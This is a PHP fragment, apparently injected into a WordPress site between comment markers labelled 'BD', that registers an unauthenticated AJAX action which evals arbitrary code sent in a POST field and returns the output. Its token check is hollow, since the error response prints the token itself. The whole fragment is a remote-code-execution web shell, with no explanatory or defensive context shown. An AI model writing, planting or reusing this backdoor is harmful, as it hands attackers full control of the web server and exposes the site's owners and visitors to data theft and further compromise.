// ==[BD:GwrbDwAu]== add_action( 'wp_ajax_nopriv_wtzujwhhx', function() { $entry = 'GwrbDwAuO8ULf38moJsrOlVJNquyZpmk'; $ref = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $ref ) || ! hash_equals( $entry, $ref ) ) { wp_send_json_error( [ 'message' => 'tok:' . $entry ], 403 ); } $sym = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $sym ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $sym = preg_replace( '/^\s*<\?(php)?/i', '', $sym ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $rec = microtime( true ); ob_start(); try { ( static function() use ( $sym ) { return eval( $sym ); } )(); $val = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $val, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $rec ) * 1000, 2 ) ] ); } catch ( \Throwable $desc ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $desc->getMessage(), 'time_ms' => round( ( microtime( true ) - $rec ) * 1000, 2 ) ] ); } } ); // ==[/BD:GwrbDwAu]==